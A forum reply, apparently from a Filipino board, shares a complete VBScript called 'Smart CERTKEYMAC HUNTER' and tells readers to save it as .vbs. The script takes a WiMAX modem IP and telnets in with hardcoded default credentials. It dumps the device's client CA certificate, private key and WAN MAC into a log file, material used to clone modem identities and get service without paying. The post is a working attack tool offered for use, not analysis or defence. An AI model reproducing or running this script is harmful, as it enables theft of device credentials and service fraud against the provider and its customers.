- Messages
- 438
- Reaction score
- 0
- Points
- 26
Re: Mas pinadali ang pag kuha ng CERTKEYMAC enter smart IP on the text box hit enter BOOM!
ung vbs script nya galing kay www.symbianize.com/showthread.php?t=1186157 pati ung madaming sendkeys {Enter} ayan na ayan hehehe
para sa nagdududa kasi detected daw sa kanila eto save nyo as .vbs
ung vbs script nya galing kay www.symbianize.com/showthread.php?t=1186157 pati ung madaming sendkeys {Enter} ayan na ayan hehehe
para sa nagdududa kasi detected daw sa kanila eto save nyo as .vbs
// ----- ExeScript Options Begin -----
// ----- ExeScript Options End -----
<job>
<script language="VBScript">
Dim objShell, IPHost
Set objShell = CreateObject("WScript.Shell")
Do
IPHost = InputBox( "GET LEGIT CERTKEYMAC Build 1.0 7-10-2014 Facebook[email protected] "& IPHost & vbCr & vbCr & vbLf & "Please enter a valid SMART IP Address! " & vbCr & vbCr & vbLf & " Example. 10.X.X.X" , "Smart CERTKEYMAC HUNTER by: Kumyoung")
If TypeName(IPHost) = "Empty" Then
MsgBox vbCr & vbLf & " Operation Canceled! ",16,"Goodbye... "
WScript.Quit
End If
If Len(Trim(IPHost)) = 0 Then
MsgBox "Please Enter a valid Smart IP Address!",16,"Status Window "
End If
Exit Do
Loop
objShell.run"cmd"
WScript.Sleep 1000
objShell.SendKeys"color 9{Enter}"
WScript.Sleep 1000
objShell.SendKeys"telnet "& IPHost &" -f CERTKEYMAC.txt{Enter}"
WScript.Sleep 1000
objShell.SendKeys"mt7109{Enter}"
WScript.Sleep 2000
objShell.SendKeys"wimax{Enter}"
WScript.Sleep 5000
objShell.SendKeys"ls{Enter}"
WScript.Sleep 100
objShell.SendKeys"cd etc{Enter}"
WScript.Sleep 100
objShell.SendKeys"ls{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"cat wmx_client_ca.pem{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"cat wmx_priv_key.key{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"sncfg get WAN_MAC{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"{Enter}"
WScript.Sleep 100
objShell.SendKeys"^D{Enter}"
WScript.Sleep 100
objShell.run"CERTKEYMAC.txt"
WScript.Sleep 100
</script>
</job>